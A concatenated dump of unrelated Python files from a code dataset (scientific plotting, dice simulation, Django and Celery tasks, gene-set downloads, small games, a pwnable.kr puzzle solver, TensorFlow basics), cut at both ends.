rs\nimport scriptcontext as rsc\nimport serial\nimport sys\nsys.path.append(\"C:\\\\Python27\\\\Lib\\\\site-packages\\\\\")\n\n\"\"\"\nGetObjectGrip will ask the user to select a grip. There are other ways to \ndo this, which would be better if you want to control many objects with the values \nfrom many sensors. \n\"\"\" \nhandle = rs.GetObjectGrip()\n\n\"\"\"\nThis creates a variable that will be the access point to the serial port. The\nfirst argument specifies which COM port the device is connected to. You can \njust trial and error this. The second argument is the baud rate that the \nArduino was programmed to transmit at. \n\"\"\"\nser = serial.Serial(1,9600)\niterations = 1000\ni=0\nwhile True:\n if i\n\nversion:\n- 2015.??.?? Initial version\n- 2018.02.13 clean up and update docu\n\n\"\"\"\n\n\n\nfrom __future__ import ( division, absolute_import, print_function, unicode_literals )\n\nimport numpy as np\nfrom numpy import zeros\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nimport requests as rq\nimport os\nimport sys\nimport json\nimport zipfile\nimport multiprocessing as mp\nfrom multiprocessing import Process, Lock\n\n\nglass_basis('glass.basis.pixels', solver=None)\nexclude_all_priors()\n\n\noutpdir = \"kappaencl\"\nstatesdir = os.path.join(outpdir, \"states\")\nimagesdir = os.path.join(outpdir, \"images\")\ndatadir = os.path.join(outpdir, \"data\")\n\n\nmodels = [6915]\n\ndef work(lock, tasknr, procnr, nr):\n pid = mp.current_process().pid\n with lock:\n print('> %03i (%i; %5i): start %06i' % (tasknr, procnr, pid, nr))\n\n\n url = \"http://mite.physik.uzh.ch/result/%06i/state.txt\" % nr\n fpath = os.path.join(statesdir, \"%06i.state\"%nr)\n imgfile = os.path.join(imagesdir, \"%06i_kappa_encl.png\"%nr)\n datafile = os.path.join(datadir, '%06i.json'%nr)\n \n if os.path.isfile(fpath):\n print('> %03i (%i; %5i): skip %06i' % (tasknr, procnr, pid, nr))\n return\n \n if not os.path.isfile(fpath):\n with open(fpath, 'wb') as handle:\n with lock:\n print('> %03i (%i; %5i): start dl %06i' % (tasknr, procnr, pid, nr))\n\n resp = rq.get(url, stream=True)\n \n if not resp.ok:\n with lock:\n print('> %03i (%i; %5i): dl failed %06i !!!!!' % (tasknr, procnr, pid, nr))\n return\n \n for block in resp.iter_content(1024):\n if not block:\n break\n \n handle.write(block) \n\n with lock:\n print('> %03i (%i; %5i): dl ok %06i' % (tasknr, procnr, pid, nr))\n\n with lock:\n print('> %03i (%i; %5i): gen data %06i' % (tasknr, procnr, pid, nr))\n\n state = loadstate(fpath)\n\n if os.path.isfile(datafile):\n with open(datafile) as f:\n data = json.load(f)\n else:\n data = gendata(state)\n with open(datafile, 'w') as outfile:\n json.dump(data, outfile)\n \n with lock:\n print('> %03i (%i; %5i): start plot %06i' % (tasknr, procnr, pid, nr))\n plotdata(data, imgfile)\n\n# gls.make_ensemble_average()\n# gls.kappa_enclosed_plot(gls.ensemble_average)\n# pl.savefig(imgfile)\n# pl.close()\n\n with lock:\n print('> %03i (%i; %5i): finished %06i' % (tasknr, procnr, pid, nr))\n\n \n\n#\n# copied from simanalysis paper / spaghetti / gen kappa encl data.py\n# \ndef gendata(state):\n \n\n distance_factor = 0.428\n div_scale_factors = 440./500*100\n\n \n state.make_ensemble_average()\n obj,data=state.ensemble_average['obj,data'][0]\n \n n_rings = len(obj.basis.rings) # number of rings with center (=pixrad+1)\n \n #print n_rings\n \n kappaRenc_median = np.zeros(n_rings) #pixrad\n# kappaRd_encl = np.zeros(n_rings) #pixrad\n kappaRenc_1sigmaplus = np.zeros(n_rings) #pixrad\n kappaRenc_1sigmaminus = np.zeros(n_rings) #pixrad\n kappaRd_maxdevplus = np.zeros(n_rings) #pixrad\n kappaRd_maxdevminus = np.zeros(n_rings) #pixrad\n \n pixPerRing = np.zeros(n_rings)\n pixEnc = np.zeros(n_rings)\n \n for i in range(n_rings):\n pixEnc[i] = len(obj.basis.rings[i])\n pixPerRing[i] = len(obj.basis.rings[i])\n for j in range(i):\n pixEnc[i] += len(obj.basis.rings[j])\n \n for k in range(n_rings): #pixrad\n kappaRenc_k_all = np.zeros(0)\n for m in state.models:\n obj,ps = m['obj,data'][0]\n\n kappaRenc_model = ps['kappa(R)'][k]*pixPerRing[k]\n for kk in range(k):\n kappaRenc_model += ps['kappa(R)'][kk] * pixPerRing[kk]\n kappaRenc_k_all = np.append(kappaRenc_k_all,kappaRenc_model)\n\n kappaRenc_k_all /= pixEnc[k]\n kappaRenc_k_all *= distance_factor\n \n kappaRenc_k_all = np.sort(kappaRenc_k_all)\n #print kappaRenc_k_all\n #print len(kappaRenc_k_all), pixEnc[k]\n \n kappaRenc_median[k] = kappaRenc_k_all[len(kappaRenc_k_all)/2]\n# kappaRenc_1sigmaplus[k] = kappaRenc_k_all[5*len(kappaRenc_k_all)/6]\n# kappaRenc_1sigmaminus[k] = kappaRenc_k_all[len(kappaRenc_k_all)/6]\n \n# p = 0.0\n# kappaRenc_1sigmaplus[k] = kappaRenc_k_all[int((1.0-p)*len(kappaRenc_k_all))]\n# kappaRenc_1sigmaminus[k] = kappaRenc_k_all[int(p*len(kappaRenc_k_all))]\n kappaRenc_1sigmaplus[k] = kappaRenc_k_all[-1]\n kappaRenc_1sigmaminus[k] = kappaRenc_k_all[0]\n \n #print k, kappaRenc_median[k], kappaRenc_1sigmaplus[k], kappaRenc_1sigmaminus[k]\n\n\n pixelradius = n_rings -1\n\n kappaRd_median = zeros(pixelradius+1) #pixrad\n kappaRd_1sigmaplus = zeros(pixelradius+1) #pixrad\n kappaRd_1sigmaminus = zeros(pixelradius+1) #pixrad\n kappaRd_maxdevplus = zeros(pixelradius+1) #pixrad\n kappaRd_maxdevminus = zeros(pixelradius+1) #pixrad\n \n for k in range(pixelradius+1): #pixrad\n kappaRd_k_all = zeros(0)\n for m in state.models:\n obj,ps = m['obj,data'][0]\n kappaRd_model = ps['kappa(R)'][k]#-kappaRs[k]\n kappaRd_k_all = np.append(kappaRd_k_all,kappaRd_model)\n kappaRd_k_all = np.sort(kappaRd_k_all)\n kappaRd_median[k] = kappaRd_k_all[len(kappaRd_k_all)/2]\n kappaRd_1sigmaplus[k] = kappaRd_k_all[5*len(kappaRd_k_all)/6]\n kappaRd_1sigmaminus[k] = kappaRd_k_all[len(kappaRd_k_all)/6]\n kappaRd_maxdevplus[k] = kappaRd_k_all[-1]\n kappaRd_maxdevminus[k] = kappaRd_k_all[0]\n\n\n \n #pl.plot(np.arange(n_rings), kappaRd_median)\n# yerr=[kappaRenc_1sigmaplus - kappaRenc_median, kappaRenc_median- kappaRenc_1sigmaminus]\n \n x_vals = (np.arange(n_rings)+0.5) * div_scale_factors * obj.basis.cell_size[0]\n \n #pl.errorbar(x_vals, kappaRenc_median, yerr=yerr)\n #pl.show()\n\n\n\n# yerr=[kappaRd_1sigmaplus - kappaRd_median, kappaRd_median- kappaRd_1sigmaminus] \n\n return {\n 'x': x_vals.tolist(),\n 'y': kappaRenc_median.tolist(),\n 'yp': kappaRenc_1sigmaplus.tolist(),\n 'ym': kappaRenc_1sigmaminus.tolist(),\n# 'yerr': yerr\n }\n \n\n\n\n\ndef plotdata(data, imgname):\n #x_vals, kappaRenc_median, kappaRenc_1sigmaplus, kappaRenc_1sigmaminus, yerr = data\n \n xx = data['x']\n y = data['y'] \n yp = data['yp'] \n ym = data['ym'] \n \n fig = plt.figure()\n ax = fig.add_subplot(1,1,1)\n \n x = np.arange(len(xx))\n \n plt.plot(x, yp, 'b--')\n plt.plot(x, ym, 'b--')\n plt.plot(x, y, 'r')\n \n plt.plot([0.01,np.max(x)], [1,1], 'k:') \n\n \n plt.tick_params(axis='both', which='both', labelsize=16)\n\n\n #plt.tight_layout()\n plt.ylim([0.5,10])\n ax.set_yscale('log') \n\n plt.xlabel(r'image radius [pixels]', fontsize = 18)\n plt.ylabel(r'mean convergance [1]', fontsize = 18)\n\n formatter = mpl.ticker.FuncFormatter(lambda x, p: '$'+str(int(round(x)))+'$' if x>=1 else '$'+str(round(x,1))+'$')\n ax.yaxis.set_major_formatter(formatter)\n ax.yaxis.set_minor_formatter(formatter)\n\n #plt.show()\n plt.savefig(imgname)\n\n\n\ndef main():\n models = []\n with open('data.txt') as f:\n for line in f:\n models.append(int(line))\n \n print(models)\n rmodels = list(reversed(models))\n \n \n procs = [None, None, None, None]\n tasknr = 0\n l = Lock()\n \n# while len(models) > 0:\n# \n# for procnr, p in enumerate(procs):\n# if p:\n# p.join(1)\n# if not p.is_alive():\n# p = None\n# \n# if not p and len(models)>0:\n# tasknr += 1\n# nr = models.pop()\n#\n# with l:\n# print(\"XXX (X; XXXXX): start p%03i on %i (%06i)\" % (tasknr, procnr, nr))\n# sys.stdout.flush()\n# p = Process(target=work, args=(l, tasknr, procnr, nr,))\n# p.start()\n\n while len(models) > 0:\n tasknr += 1\n nr = rmodels.pop()\n try:\n work(l, tasknr, 0, nr ) \n except zipfile.BadZipfile:\n pass\n\n\n \n#\n# \n# my_list = range(1000000)\n#\n# q = Queue()\n#\n# p1 = Process(target=do_sum, args=(q,my_list[:500000]))\n# p2 = Process(target=do_sum, args=(q,my_list[500000:]))\n# p1.start()\n# p2.start()\n# r1 = q.get()\n# r2 = q.get()\n# print r1+r2\n\nif __name__=='__main__':\n main()\n\n\n\n#\n#opts = Environment.global_opts['argv']\n#\n#\n#sl_nrs = [int(_) for _ in opts[1:]]\n#\n#print( 'opts:', opts)\n#print( 'sl_nrs:', sl_nrs)\n#\n#\n#statedir = 'state'\n#plotdir = 'plots'\n#\n#try:\n# os.mkdir(statedir)\n#except OSError:\n# pass\n#try:\n# os.mkdir(plotdir)\n#except OSError:\n# pass\n#\n#\n#for nr in sl_nrs:\n# \n# print('Working on %06i'%nr)\n# print(' > fetching state file ...', end='')\n#\n# url = \"http://mite.physik.uzh.ch/result/%06i/state.txt\" % nr\n# statefilename = os.path.join(statedir, '%06i.state' % nr)\n# imgfilename1 = os.path.join(plotdir, '%06i_dt_plot_f1.png' % nr)\n# imgfilename25 = os.path.join(plotdir, '%06i_dt_plot_f25.png' % nr)\n# \n# with open(statefilename, 'wb') as handle:\n# response = requests.get(url, stream=True)\n# \n# if not response.ok:\n# print('FAIL. skipping..')\n# continue\n# \n# for block in response.iter_content(1024):\n# if not block:\n# break\n# \n# handle.write(block) \n# \n# print('OK')\n#\n# print(' > plotting ...', end='')\n# gls = loadstate(statefilename)\n# gls.time_delays_plot(arb_fact = 2.50)\n# pl.savefig(imgfilename25)\n# pl.close()\n# gls.time_delays_plot(arb_fact = 1)\n# pl.savefig(imgfilename1)\n# pl.close()\n# print('OK')\n\n\n","sub_path":"Tools/download_state_and_plot_kappa_enclosed.py","file_name":"download_state_and_plot_kappa_enclosed.py","file_ext":"py","file_size_in_byte":10145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"70513004","text":"__author__ = 'Kaimen Walters'\n\n\nimport random, matplotlib.pyplot as plt\n\nimport numpy as np\nimport scipy.stats as stats\nimport pylab as pl\n\n\nCardinality = 13\nNumberTrials = 10000\ndice_sum = 0\n\nTrialSequenceB4 = []\nTrialSequence7 = []\nTrialSequenceSum = []\nfor TrialIndex in range(0, NumberTrials):\n red_die = random.randrange(1,7,1)\n blue_die = random.randrange(1,7,1)\n dice_sum = red_die + blue_die\n TrialSequenceSum.append(dice_sum)\n if blue_die == 4:\n TrialSequenceB4.append(red_die)\n if dice_sum == 7:\n TrialSequence7.append(red_die)\n\nEmpiricalDistribution1 = [] # List for distribution for the sums\nfor OutcomeIndex in range(0, Cardinality):\n EmpiricalDistribution1.append(TrialSequenceSum.count(OutcomeIndex) / float(NumberTrials))\n \nEmpiricalDistributionB4 = [] # List for distribution of rolls on red die when blue_die == 4\nfor OutcomeIndexB4 in range(0, 7):\n EmpiricalDistributionB4.append(TrialSequenceB4.count(OutcomeIndexB4) / float(len(TrialSequenceB4)))\n \nEmpiricalDistribution7 = [] # List for distribution of rolls on red die when dice_sum ==7\nfor OutcomeIndex7 in range(0, 7):\n EmpiricalDistribution7.append(TrialSequence7.count(OutcomeIndex7) / float(len(TrialSequence7)))\n \n \nh = sorted(TrialSequenceSum) #sorted\n\nfit = stats.norm.pdf(h, np.mean(h), np.std(h)) # fits a curve to the graph\n\npl.plot(h,fit,'-o')\n\npl.hist(h,normed=True) #draws histogram\n\n# pl.show()\n\n\n \n# print (sorted(TrialSequence))\nx = 0\nfor i in EmpiricalDistribution1:\n print (x, \"was rolled\", int(i * NumberTrials), \"times\") # Empirical distribution for values 2-12\n x+=1\n \n \nB4 = sorted(TrialSequenceB4) #sorted\n\nfitB4 = stats.norm.pdf(B4, np.mean(B4), np.std(B4)) # fits a curve to the graph\n\npl.plot(B4,fitB4,'r')\n\npl.hist(B4,normed=True) #draws histogram\n\n# pl.show()\n\nprint (\" \")\nprint (\"When the Blue Die rolled 4, the red die rolled:\")\n\ny = 0\nfor j in EmpiricalDistributionB4:\n print (y, int(j * len(TrialSequenceB4)), \"times\")\n y += 1\n \n \ngraph7 = sorted(TrialSequence7) #sorted\n\nfit7 = stats.norm.pdf(graph7, np.mean(graph7), np.std(graph7)) # fits a curve to the graph\n\npl.plot(graph7,fit7,'-o')\n\npl.hist(graph7,normed=True) #draws histogram\n\npl.show()\n\nprint (\" \")\nprint (\"When the sum of the dice was 7, the red die rolled:\")\n\nz = 0 \nfor k in EmpiricalDistribution7:\n print (z, int(k * len(TrialSequence7)), \"times\")\n z += 1","sub_path":"Students/kaimen-walters/Programming_Challenge1.py","file_name":"Programming_Challenge1.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"275696770","text":"\ndef get_count(coin_list, n, m):\n '''\n :param coin_list: list of coins\n :param n: total amount\n :param m: number of types of coin\n :return: number of way we can get sum of n from m type of coins\n '''\n change_count = [[0] * (m+1) for i in range(n+1)]\n for i in range(n+1):\n for j in range(1, m+1):\n if i == 0:\n change_count[i][j] = 1\n else:\n '''\n either take the (j-1)th coin or dont take it\n x : dont take the (j-1)th coint\n y : take the (j-1)th coint\n '''\n x = change_count[i][j-1] if j-1 >=0 else 0\n y = change_count[i - coin_list[j-1]][j] if (i - coin_list[j-1]) >=0 else 0\n change_count[i][j] = x + y\n return change_count[n][m]\n\n\nif __name__ == \"__main__\":\n '''\n n : number of unit\n m : number of coin type\n coint_list : list of each coin type\n '''\n n, m = map(int , input().split())\n coin_list = list(map(int, input().split()))\n print(coin_list)\n get_count(coin_list, n, m)","sub_path":"Algorithm/dynamic_programming/Implementation/Coin_Change_Problem.py","file_name":"Coin_Change_Problem.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"456759798","text":"from celery import current_app\nfrom time_app.models import time_entry\napp = current_app._get_current_object()\nfrom celery.schedules import crontab\nfrom django.core.mail import send_mail\nfrom celery.utils.log import get_task_logger\nfrom django.utils import timezone\nfrom datetime import timedelta\nfrom django.db.models import Sum\nfrom django.contrib.auth.models import User\nfrom django.template.loader import render_to_string\nfrom django.core import serializers\nfrom django.urls import set_script_prefix\nfrom django.conf import settings\n\nlog=get_task_logger(__name__)\n\ndef get_report_message(user):\n now = timezone.now()\n delta_days = 1;\n \n startdate = now - timedelta(days=delta_days)\n enddate = now + timedelta(days=1)\n \n te = time_entry.objects.filter(user_id=user, date__range=[startdate, enddate])\n sub_totals = time_entry.objects.values('name').filter(user_id=user, date__range=[startdate, enddate]).annotate(Sum('hours_worked'))\n \n total = 0\n for time in te:\n total += time.duration\n \n jsondata = serializers.serialize('json',te)\n \n context={\n 'results':te,\n 'sub_totals': sub_totals,\n 'jsondata':jsondata,\n 'total':total,\n }\n \n log.info(context) \n \n return context\n\n@app.task\ndef email_report(name='mail_report'):\n print('email_report')\n \n subject='monthly report'\n from_email = 'admin@yourdomain.com'\n \n users = User.objects.all()\n \n for u in users:\n try:\n \n recipient_list=[str(u.email)]\n \n log.info(recipient_list)\n \n context = get_report_message(u)\n \n set_script_prefix(settings.SITE_URL)\n \n msg_html = render_to_string('email.html', context)\n \n message = 'test'\n \n send_mail(subject, message, from_email, recipient_list, html_message=msg_html) \n \n except:\n log.error('error processing user_id:' + u.email) \n \n@app.on_after_finalize.connect\ndef app_ready(**kwargs):\n \"\"\"\n Called once after app has been finalized.\n \"\"\"\n sender = kwargs.get('sender')\n\n log.info('app_ready')\n # periodic tasks\n cron = crontab(minute=0, hour=12) #minute=0, hour=12\n sender.add_periodic_task(cron, email_report.s(),name='run task')\n","sub_path":"time_app/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"446943991","text":"import os\nimport json\nimport requests\n\nfrom gseapy.utils import DEFAULT_CACHE_PATH, retry, mkdirs\n\n\ndef get_libraries():\n lib_url='http://amp.pharm.mssm.edu/Enrichr/datasetStatistics'\n response = requests.get(lib_url)\n if not response.ok:\n raise Exception(\"Error getting the Enrichr libraries\")\n libs_json = json.loads(response.text)\n libs = [lib['libraryName'] for lib in libs_json['statistics']]\n return sorted(libs)\n\n\ndef parse_lib(libname):\n tmpname = \"enrichr.\" + libname + \".gmt\"\n tempath = os.path.join(DEFAULT_CACHE_PATH, tmpname)\n if os.path.isfile(tempath):\n print(\"Already downloaded\", libname)\n else:\n return download_library(libname)\n\n\ndef download_library(libname):\n print(\"Downloading: \", libname)\n s = retry(5)\n ENRICHR_URL = 'http://amp.pharm.mssm.edu/Enrichr/geneSetLibrary'\n query_string = '?mode=text&libraryName=%s'\n response = s.get( ENRICHR_URL + query_string % libname, timeout=None)\n if not response.ok:\n raise Exception('Error fetching enrichment results, check internet connection first.')\n mkdirs(DEFAULT_CACHE_PATH)\n genesets_dict = {}\n outname = \"enrichr.%s.gmt\"%libname\n gmtout = open(os.path.join(DEFAULT_CACHE_PATH, outname), \"w\")\n for line in response.iter_lines(chunk_size=1024, decode_unicode='utf-8'):\n line=line.strip()\n k = line.split(\"\\t\")[0]\n v = list(map(lambda x: x.split(\",\")[0], line.split(\"\\t\")[2:]))\n genesets_dict.update({ k: v})\n outline = \"%s\\t\\t%s\\n\"%(k, \"\\t\".join(v))\n gmtout.write(outline)\n gmtout.close()\n return genesets_dict\n\n\nfor libname in get_libraries():\n try:\n parse_lib(libname)\n except Exception as err:\n pass\n","sub_path":"tools/dockerfiles/scripts/gseapy_download_datasets.py","file_name":"gseapy_download_datasets.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"636906228","text":"\nimport numpy as np\nimport time\nfrom lib import fft_convolve2d\nimport matplotlib.pyplot as plt\nplt.ion()\n\ndef conway(state, k=None):\n\t\"\"\"\n\tConway's game of life state transition\n\t\"\"\"\n\n\tstate = np.pad(state, 1, 'constant')\n\n\t# set up kernel if not given\n\tif k == None:\n\t\tm, n = state.shape\n\t\tk = np.zeros((m, n))\n\t\tk[m/2-1 : m/2+2, n/2-1 : n/2+2] = np.array([[1,1,1],[1,0,1],[1,1,1]])\n\n\t# computes sums around each pixel\n\tb = fft_convolve2d(state,k).round()\n\tc = np.zeros(b.shape)\n\n\tc[np.where((b == 2) & (state == 1))] = 1\n\tc[np.where((b == 3) & (state == 1))] = 1\n\n\tc[np.where((b == 3) & (state == 0))] = 1\n\n\t# return new state\n\treturn c[1:c.shape[0]-1, 1:c.shape[1]-1]\n\n","sub_path":"day18/conway.py","file_name":"conway.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"327301134","text":"# given arbitary words\n# print _ _ _ _.....n\n# if input match with any words in _ _ _\n# print words _ _ _ _ _\n# can't be more than 10\n# 0 == incorrect yet\n# 1 == correct\n# 2 == space\nimport random\n\n\ndef plusS(status=list, splt=list):\n for i in range(len(status)):\n if status[i] == 0:\n yield '_ '\n elif status[i] == 1:\n yield splt[i]\n else:\n yield ' '\n\n\ndef interface(status=list, splt=list):\n s = ''\n for i in plusS(status, splt):\n s += i\n return s\n\n\ndef hangMan():\n # list of all words\n words = ['test', 'python', 'C tutorial', 'Phuee', 'Sprite']\n dead = \"he_is_dead\"\n deadString = \"\"\n char = []\n # random word\n word = random.choice(words)\n splt = [i for i in word]\n stat = []\n for i in range(len(splt)):\n if splt[i] != ' ':\n stat.append(0)\n else:\n stat.append(2)\n s = interface(stat, splt)\n win = False\n count = 0\n print(s)\n while count < 10:\n guess = ''\n intCase = True\n while len(guess) != 1 or intCase == True:\n guess = input('')\n try:\n test = int(guess)\n if test != 'Test for intger case':\n print(\"Please enter only character\")\n except:\n if len(guess) != 1:\n print(\"Please enter 1 char\")\n else:\n intCase = False\n for i in range(len(splt)):\n if guess.upper() == splt[i] or guess.lower() == splt[i]:\n stat[i] = 1\n if guess not in char:\n char.append(guess)\n if guess not in splt:\n deadString += dead[count]\n count += 1\n s = interface(stat, splt)\n print(s)\n if 0 not in stat:\n win = True\n print(\"Winner!!\")\n break\n print(\"\\n\\n\")\n print(\"Char that be used aleady:\", char)\n print(\"Status:\", deadString)\n if not win:\n print(\"Lose\")\n\n\nhangMan()\n","sub_path":"CloningProject/hangMan.py","file_name":"hangMan.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"402346249","text":"from django import forms\nfrom .models import RelatedLink\n\nclass RelatedLinkForm(forms.ModelForm):\n class Meta:\n model = RelatedLink\n fields = ('Name', 'Website', 'Description')\n widgets = {\n 'Name': forms.TextInput(attrs={'class': 'input',\n 'placeholder': 'Name', 'align': 'center',\n 'required': True, }),\n 'Website': forms.TextInput(attrs={'class': 'input', 'placeholder': 'Website Link'}),\n \"Description\": forms.Textarea(attrs={'class': 'textarea', 'placeholder': 'Description',})\n }","sub_path":"biowiki_new/usefullinks/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"431053199","text":"#!/usr/bin/python\nfrom pwn import *\n\nr = remote('0', 9007)\n\ndef cleaned(s):\n return str(s).replace(',', '').replace('[', '').replace(']','')\n\ndef binsearch(lower, upper, c):\n log.info(\"Searching between: [%s, %s] Tries left: %d \\n\" % (lower, upper,c))\n if upper - lower < 2:\n log.info(\"Trying: %s\" % lower)\n r.sendline(str(lower))\n ans = r.readline()\n log.info(\"Received: %s\" % ans)\n if '9' in ans and 'Correct' not in ans:\n log.info(\"Resending %s, not all tries used\" % lower)\n r.sendline(str(lower))\n return r.readline()\n if ans is None:\n log.info(\"Trying: %s\" % upper)\n r.sendline(str(upper))\n return r.readline()\n return ans\n\n middle = (lower+upper)/2\n l_ind = range(0,middle)\n r_ind = range(middle,upper)\n\n r.sendline(cleaned(l_ind))\n ans = r.readline()\n log.info(\"Weight: %s\\n\" % ans)\n ans = int(ans)\n if ans % 2 == 0:\n binsearch(middle, upper, c-1)\n else:\n binsearch(lower, middle, c-1)\n\ndef main():\n\n r.recvuntil('- Ready? starting in 3 sec... -')\n r.readline()\n r.readline()\n\n while True:\n l = r.readline()\n if 'Congrats' in l:\n r.interactive()\n log.success(\"Received: \"+l)\n m = re.match('N=(\\d+) C=(\\d+)',l)\n n = int(m.group(1))\n c = int(m.group(2))\n log.info('N={0}, C={1}'.format(n, c))\n l = binsearch(0,n, c)\n log.success(\"Received: %s\" % (l))\n\nif __name__==\"__main__\":\n main()\n\n","sub_path":"pwnable.kr/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"626857754","text":"'''\ncurrent_number=1\nwhile current_number<=5:\n\tprint(current_number)\n\tcurrent_number+=1\n\nprompt=\"\\nTell me something,and I will repeat it back to you:\" #让用户选择何时退出\nprompt+=\"\\nEnter 'quit' to end the program: \"\nmessage=\"\" #创建一个变量message，用于存储用户的值\nwhile message!='quit':\n\tmessage=input(prompt)\n\tif message!='quit': #在消息不是退出值才打印\n\t\tprint(message)\n'''\t\nprompt=\"\\nTell me something,and I will repeat it back to you:\" #让用户选择何时退出\nprompt+=\"\\nEnter 'quit' to end the program: \"\nactive=True #让程序处于活跃状态，简化while语句（使用标志）\nwhile active:\n\tmessage=input(prompt)\n\tif message=='quit':\n\t\tactive=False\n\telse:\n\t\tprint(message)","sub_path":"while循环.py","file_name":"while循环.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"375944763","text":"import numpy as np\nimport yaml\nimport calc_rotation as calc_R\nimport csv\nwidth = 0.3\nstep_size = 0.03\ndist = [0.2, 0.21]\nobj_pos = [0.74130396, 0.14659424, 0.78706374, 0.6303518 , -0.02878308, -0.77486378, -0.03760674]\n\n#Need to do\n#1. change the obj_pos to a random point in the pointcloud.\n\ndef main():\n #yaml file is used for simulation\n fh = open( 'init_configure_scene3.yaml', 'w' )\n #csv file is used for generate depth images from different view points\n fh_csv = open( 'init_configure_scene3.csv', 'w')\n csv_writer = csv.writer(fh_csv)\n #get object translation and quaternion\n trans_obj = obj_pos[0:3]\n quat_obj = obj_pos[3:7]\n #define the space that we choose initial config from\n x_min = trans_obj[0] - width\n x_max = trans_obj[0] + width\n y_min = trans_obj[1] - width\n y_max = trans_obj[1] + width\n z_min = trans_obj[2] - width\n z_max = trans_obj[2] + width\n init_configure = []\n \n for x in np.arange( x_min, x_max, step_size ):\n for y in np.arange( y_min, y_max, step_size):\n for z in np.arange( z_min, z_max, step_size):\n #eliminate pts that are within range 0.2m to 0.3m\n distance = np.linalg.norm([ x - trans_obj[0], y - trans_obj[1], z - trans_obj[2]])\n if distance < dist[0] or distance > dist[1]:\n continue\n #calculate quaternions for each hand location\n quats = calc_R.calc_rotation([x, y, z], trans_obj)\n for quat in quats:\n tmp_pos = [float(x),float(y),float(z)]\n tmp_cong = np.append(tmp_pos,quat)\n tmp_cong = tmp_cong.tolist()\n #write to csv file\n csv_writer.writerow(tmp_cong)\n #write to yaml file\n fh.write('-\\n')\n fh.write(' relative_config: '+str(tmp_cong)+'\\n' )\n \n fh.write(' grasp_mode: 2\\n')\n fh.write(' release_mode: 3\\n')\n fh_csv.close()\n fh.close()\n\nif __name__ == \"__main__\":\n main()\n\n\n\n \n\n","sub_path":"robot_grasp/OTHERS/generate_init_3.py","file_name":"generate_init_3.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"71854575","text":"import tensorflow as tf\n\n# 定义常量\nmessage = tf.constant('Welcom to the tensorflow world')\n\n# with tf.Session() as sess:\n# print(sess.run(message).decode())\n\na = tf.constant([1.0,2.0,3.0],shape = [3], name='a')\nb = tf.constant([1.0,2.0,3.0], shape = [3], name='b')\nc = a +b\nsess = tf.Session(config = tf.ConfigProto(log_device_placement =True))\nprint(sess.run(c))\n\n# 计算图：是包含节点和边的网络。本节定义所有要使用的数据，也就是张量（tensor）对象（常量、变量和占位符），\n# 同时定义要执行的所有计算，即运算操作对象（Operation Object，简称 OP）。\n\n# 在此以两个向量相加为例给出计算图。假设有两个向量 v_1 和 v_2 将作为输入提供给 Add 操作\nv1 = tf.constant([1,2,3,4])\nv2 = tf.constant([2,1,5,4])\n# v_add = tf.add(v1,v2)\n\n# with tf.Session() as sess:\n# print(sess.run(v_add))\n\n# 更简洁的方式\n# print(tf.Session().run(tf.add(tf.constant([1,2,3]),tf.constant([4,5,6]))))\n\n# Tensorflow 常量\n\n# 零元素张量\n# zero_t = tf.zeros([2,3],tf.int32)\n# one_t = tf.ones([2,3],tf.int32)\n\n# 使用以下语句创建一个具有一定均值（默认值=0.0）和标准差（默认值=1.0）、形状为 [M，N] 的正态分布随机数组\nt_random = tf.random_normal([2,3],mean=2.0,stddev=4, seed=12)\n# with tf.Session() as sess:\n# print(sess.run(t_random))\n\nconfig = tf.ConfigProto(log_device_placement=True)\n\n# TensorFlow 占位符\n# 我们来讲解最重要的元素——占位符，它们用于将数据提供给计算图\n# 使用 feed_dict 输入一个随机的 4×5 矩阵\nx = tf.placeholder(\"float\")\ny = 2 * x\n# data = tf.random_uniform([4,5],10)\n# with tf.Session() as sess:\n# x_data = sess.run(data)\n# print(sess.run(y, feed_dict = {x:x_data}))","sub_path":"tensorflow_learn/hello_tensor.py","file_name":"hello_tensor.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519342217","text":"import sys\nimport argparse\nimport tensorflow as tf\n\nfrom osim.env import arm\nfrom osim.env import osim \nimport ppo_agent\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"Train or test neural net motor controller\")\n parser.add_argument(\"--train\", dest=\"train\", action=\"store_true\", default=True)\n parser.add_argument(\"--test\", dest=\"train\", action=\"store_false\", default=True)\n parser.add_argument(\"--steps\", dest=\"steps\", action=\"store\", default=10000, type=int)\n parser.add_argument(\"--visualize\", dest=\"visualize\", action=\"store_true\", default=False)\n parser.add_argument(\"--model\", dest=\"model\", action=\"store\", default=\"example.h5f\")\n args = parser.parse_args()\n return args\n\ndef build_env():\n env = arm.Arm2DVecEnv(args.visualize)\n #env = osim.L2M2019Env(args.visualize)\n return env\n\ndef build_agent(env, sess, graph):\n agent = ppo_agent.PPOAgent(env, sess, graph)\n return agent\n\ndef main():\n global args\n args = parse_args()\n\n env = build_env()\n graph = tf.Graph()\n sess = 